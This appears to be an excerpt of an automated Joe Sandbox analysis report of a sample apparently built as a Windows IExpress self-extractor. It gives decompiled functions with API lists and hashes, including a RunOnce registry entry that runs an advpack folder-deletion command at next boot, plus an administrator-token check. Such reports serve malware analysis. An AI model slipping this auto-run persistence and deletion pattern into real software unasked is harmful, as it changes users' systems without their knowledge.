Instruction Fuzzy Hash: 7B3183B5241311FBD7701F39EC4DE6A3EA8F789B41F44851AFAC29A69CCB7A8400CB55

Uniqueness

Uniqueness Score: -1.00%

Function 010D2773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010D2773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E010D1781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E010D658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E010D658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0x10d1140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E010D1680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E010D6CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x010d2773
0x010d277e
0x010d2785
0x010d278a
0x010d278d
0x010d2790
0x010d2792
0x010d2798
0x010d279d
0x010d28b2
0x00000000
0x010d27a3
0x010d27a3
0x010d27af
0x010d27c2
0x010d27c8
0x010d27cd
0x010d27d5
0x010d28b7
0x010d28b9
0x00000000
0x010d27db
0x010d27dd
0x010d28aa
0x00000000
0x010d27e3
0x010d27e3
0x010d27ec
0x010d27f8
0x010d2803
0x010d280b
0x010d2831
0x010d28c3
0x010d28c9
0x010d28cd
0x010d2837
0x010d285a
0x010d285c
0x010d2865
0x010d2892
0x010d2895
0x00000000
0x00000000
0x010d2867
0x010d2878
0x010d288c
0x00000000
0x010d287a
0x010d2880
0x010d2885
0x010d2897
0x010d2899
0x010d2899
0x010d2878
0x010d2865
0x010d28a0
0x010d28bf
0x010d28c1
0x00000000
0x00000000
0x010d28c1
0x010d2831
0x010d27dd
0x010d27d5
0x010d28e5

APIs

CharUpperA.USER32(C2F4ED82,00000000,00000000,00000000), ref: 010D27A8
CharNextA.USER32(0000054D), ref: 010D27B5
CharNextA.USER32(00000000), ref: 010D27BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010D2829
RegQueryValueExA.ADVAPI32(?,010D1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010D2852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010D2870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010D28A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 010D28AA
GetSystemDirectoryA.KERNEL32 ref: 010D28B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 010D27E4

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 6fac66c81c070d0973f5b0d477847fd363732aad5abf33f6a67cf08069566bdc
Instruction ID: 32ffdc73c66ee06cae09b104275357cc36d8e4de1699c0b2b078d9b2e4730e08
Opcode Fuzzy Hash: 6fac66c81c070d0973f5b0d477847fd363732aad5abf33f6a67cf08069566bdc
Instruction Fuzzy Hash: E941A071A01228AFDB259B64DC85AFABBBDEB15700F0040E9F9C9D3105DB758EC58FA0

Uniqueness

Uniqueness Score: -1.00%

Function 010D18A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E010D18A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t23 ^ _t53;
				_t25 =  *0x10d8128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E010D6CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E010D17EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0x10d8128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0x10d8128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x010d18a3
0x010d18a3
0x010d18ab
0x010d18b2
0x010d18b5
0x010d18be
0x010d18c0
0x010d18c6
0x010d18c7
0x010d18ca
0x010d18cf
0x010d19c9
0x010d19d8
0x010d19d8
0x010d18df
0x010d19b8
0x010d19bd
0x010d19bf
0x010d19bf
0x00000000
0x010d19bd
0x010d18fa
0x00000000
0x00000000
0x010d1912
0x010d19aa
0x010d19ad
0x010d19b3
0x00000000
0x010d1927
0x010d1927
0x010d1932
0x010d1936
0x010d19a9
0x010d19a9
0x00000000
0x010d19a9
0x010d194c
0x010d19a2
0x010d19a3
0x00000000
0x010d196e
0x010d1970
0x010d1999
0x010d199c
0x00000000
0x010d199c
0x010d1972
0x010d1972
0x010d1975
0x010d1984
0x010d1985
0x010d198a
0x00000000
0x00000000
0x00000000
0x010d198c
0x010d1991
0x010d1996
0x00000000
0x010d1996
0x010d194c

APIs

Part of subcall function 010D17EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,010D18DD), ref: 010D181A
Part of subcall function 010D17EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 010D182C
Part of subcall function 010D17EE: AllocateAndInitializeSid.ADVAPI32(010D18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,010D18DD), ref: 010D1855
Part of subcall function 010D17EE: FreeSid.ADVAPI32(?,?,?,?,010D18DD), ref: 010D1883
Part of subcall function 010D17EE: FreeLibrary.KERNEL32(00000000,?,?,?,010D18DD), ref: 010D188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 010D18EB
OpenProcessToken.ADVAPI32(00000000), ref: 010D18F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 010D190A
GetLastError.KERNEL32 ref: 010D1918
LocalAlloc.KERNEL32(00000000,?,?), ref: 010D192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 010D1944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 010D1964
EqualSid.ADVAPI32(00000004,?), ref: 010D197A
FreeSid.ADVAPI32(?), ref: 010D199C
LocalFree.KERNEL32(00000000), ref: 010D19A3
CloseHandle.KERNEL32(?), ref: 010D19AD

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: df21d549d16853e1d7b029c206a60dca6b7cf214244980ce261c532816306d56
Instruction ID: 6bae62eb5225b5d0a6ced15905fb64f34ec08ba0edc856b1b233a80e48e89bc6
Opcode Fuzzy Hash: df21d549d16853e1d7b029c206a60dca6b7cf214244980ce261c532816306d56
Instruction Fuzzy Hash: 5C313A71A0130AEFDB609FA9DC88AAFBFBCFF04300B104469FA85D2144DB369905CB65

Uniqueness

Uniqueness Score: -1.00%

Function 010D44B9 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010D44B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0x10d8a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0x10d9a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E010D1680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E010D171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E010D171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E010D681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E010D67C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, 0x10d9154, _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E010D681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E010D67C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, 0x10d9154, _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E010D6CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x010d44b9
0x010d44c4
0x010d44cb
0x010d44d8
0x010d44e4
0x010d44eb
0x010d44ee
0x010d44ef
0x010d44ef
0x010d44f1
0x010d44f7
0x010d44f8
0x010d467b
0x010d44fe
0x010d4509
0x010d4518
0x010d4525
0x010d4562
0x010d4568
0x010d4568
0x010d456b
0x010d456b
0x010d456d
0x010d456e
0x010d4572
0x010d4578
0x010d457c
0x010d45cb
0x010d4607
0x010d4607
0x010d460d
0x010d4613
0x010d4617
0x00000000
0x010d461d
0x010d4623
0x010d4626
0x010d4628
0x00000000
0x010d4628
0x010d45cd
0x010d45cd
0x010d45cf
0x010d45cf
0x010d45d2
0x010d45d2
0x010d45d4
0x010d45d5
0x010d45db
0x010d45de
0x010d45e3
0x010d45e9
0x010d45ed
0x00000000
0x010d45f3
0x010d45fd
0x00000000
0x010d4602
0x010d45ed
0x010d457e
0x010d457e
0x010d4580
0x010d4580
0x010d4583
0x010d4583
0x010d4585
0x010d4586
0x010d458a
0x010d458c
0x010d458f
0x010d458f
0x010d4591
0x010d4592
0x010d459b
0x010d459e
0x010d45a3
0x010d45a9
0x010d45ad
0x00000000
0x010d45af
0x010d45af
0x010d45bf
0x010d462d
0x010d4630
0x010d463d
0x010d464e
0x010d464e
0x010d463f
0x010d4640
0x010d4647
0x010d464c
0x00000000
0x00000000
0x010d464c
0x010d4666
0x010d466d
0x010d466f
0x010d4675
0x010d4675
0x010d45ad
0x010d4527
0x010d452e
0x010d453f
0x010d453f
0x010d4530
0x010d4531
0x010d4538
0x010d453d
0x00000000
0x00000000
0x010d453d
0x010d4554
0x010d455a
0x010d455a
0x010d455a
0x010d4525
0x010d468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554
LocalAlloc.KERNEL32(00000040,00000065), ref: 010D45A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 010D45E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 010D460D
MessageBeep.USER32(00000000), ref: 010D4630
MessageBoxA.USER32(?,00000000,010D9154,00000000), ref: 010D4666
LocalFree.KERNEL32(00000000), ref: 010D466F

Part of subcall function 010D681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 010D686E
Part of subcall function 010D681F: GetSystemMetrics.USER32(0000004A), ref: 010D68A7
Part of subcall function 010D681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 010D68CC
Part of subcall function 010D681F: RegQueryValueExA.ADVAPI32(?,010D1140,00000000,?,?,0000000C), ref: 010D68F4
Part of subcall function 010D681F: RegCloseKey.ADVAPI32(?), ref: 010D6902

Strings

LoadString() Error. Could not load string resource., xrefs: 010D44E4

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.
API String ID: 3244514340-1556763079
Opcode ID: ea9ceda4261ec7d4d56bc8b88bcb2e7bef03217f8872b5618fac4c3a17f4a7ce
Instruction ID: b98619aa3fb895b70509fdeabf313a681244a6680a0bdbe5e15455759a6033c0
Opcode Fuzzy Hash: ea9ceda4261ec7d4d56bc8b88bcb2e7bef03217f8872b5618fac4c3a17f4a7ce
Instruction Fuzzy Hash: EB510676A0131AABDB219E28CC48BBA7BB8EF45300F014194FD89E7649DB36D945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010D2267 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E010D2267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0x10d8004; // 0xc2f4ed82
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0x10d8530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E010D658A( &_v268, 0x104, 0x10d1140);
							}
							E010D171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_t47 = 0x10d91e4;
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup2", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E010D6CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x010d2272
0x010d2277
0x010d2279
0x010d2283
0x010d2289
0x010d22ab
0x010d22b1
0x010d22c4
0x010d22e0
0x010d22e6
0x010d22f5
0x010d230d
0x010d231c
0x010d231c
0x010d233a
0x010d2342
0x010d2348
0x010d234b
0x010d234c
0x010d234c
0x010d234e
0x010d234f
0x010d236e
0x010d236e
0x010d237a
0x010d2380
0x010d2380
0x010d2381
0x010d2381
0x010d238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 010D22A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup2,00000000,00000000,?,?,00000001), ref: 010D22D8
memset.MSVCRT ref: 010D22F5
GetSystemDirectoryA.KERNEL32 ref: 010D2305
RegSetValueExA.ADVAPI32(?,wextract_cleanup2,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 010D236E
RegCloseKey.ADVAPI32(?), ref: 010D237A

Strings

wextract_cleanup2, xrefs: 010D227C, 010D22CD, 010D2363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 010D2299
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 010D232D

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup2
API String ID: 3027380567-1330155338
Opcode ID: 0291c63ee397878c55fbbb439a087610a14775c93b008bec8ec168c67efe0be3
Instruction ID: c137d7a711cb86dc6ca05b9c074a56bfa38d99d32b4e2c0ec5b5ba32ee181130
Opcode Fuzzy Hash: 0291c63ee397878c55fbbb439a087610a14775c93b008bec8ec168c67efe0be3
Instruction Fuzzy Hash: 2531D971A00318ABDB719B65DC48FEA7B7CEF54740F0041E9F98DAB004DA756B84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010D468F Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E010D468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x010d4699
0x010d469b
0x010d46a9
0x010d46af
0x010d46b4
0x010d46bc
0x010d46f9
0x00000000
0x010d46f9
0x010d46d9
0x010d46dd
0x00000000
0x00000000
0x010d46e5
0x010d46ef
0x00000000
0x010d46f5
0x010d46ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46A0
SizeofResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46C3
LoadResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46CC
LockResource.KERNEL32(00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46D3
memcpy_s.MSVCRT ref: 010D46E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46EF

Strings

TITLE, xrefs: 010D469D, 010D46C0

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE
API String ID: 3370778649-3697457883
Opcode ID: c40f13e36e2a3ec91f60b08379c6405ce1d73a988167c8742d1b48fb5f47b467
Instruction ID: 50e26eaa64510117a486db407930dfd80ccb46045f9786cd11c34179b86816c7
Opcode Fuzzy Hash: c40f13e36e2a3ec91f60b08379c6405ce1d73a988167c8742d1b48fb5f47b467
Instruction Fuzzy Hash: FC016D36345310FBE3701AA96C4DF6B7E6CDB89BA2F044014FFCAD7184C9B6884587A6

Uniqueness

Uniqueness Score: -1.00%

Function 010D3100 Relevance: 13.6, APIs: 9, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E010D3100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0x10d8590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0x10d8590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E010D43D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0x10d8d4c);
					SetWindowTextA(_t33, 0x10d9154);
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0x10d88b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E010D30C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x010d3108
0x010d310b
0x010d31b7
0x010d31ca
0x010d31d0
0x010d31d0
0x010d31da
0x00000000
0x010d31da
0x010d3111
0x010d3114
0x010d3136
0x010d3136
0x010d3138
0x010d313b
0x010d3141
0x00000000
0x010d3143
0x010d3116
0x010d311b
0x010d314b
0x010d3151
0x010d3158
0x010d316a
0x010d3176
0x010d317d
0x010d318b
0x010d319e
0x010d31a3
0x00000000
0x010d31ad
0x010d3120
0x00000000
0x00000000
0x010d312a
0x010d3134
0x00000000
0x00000000
0x00000000
0x010d3134
0x010d312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 010D313B
GetDesktopWindow.USER32 ref: 010D314B
SetDlgItemTextA.USER32(?,00000834), ref: 010D316A
SetWindowTextA.USER32(?,010D9154), ref: 010D3176
SetForegroundWindow.USER32(?), ref: 010D317D
GetDlgItem.USER32(?,00000834), ref: 010D3185
GetWindowLongA.USER32(00000000,000000FC), ref: 010D3190
SetWindowLongA.USER32(00000000,000000FC,010D30C0), ref: 010D31A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 010D31CA

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

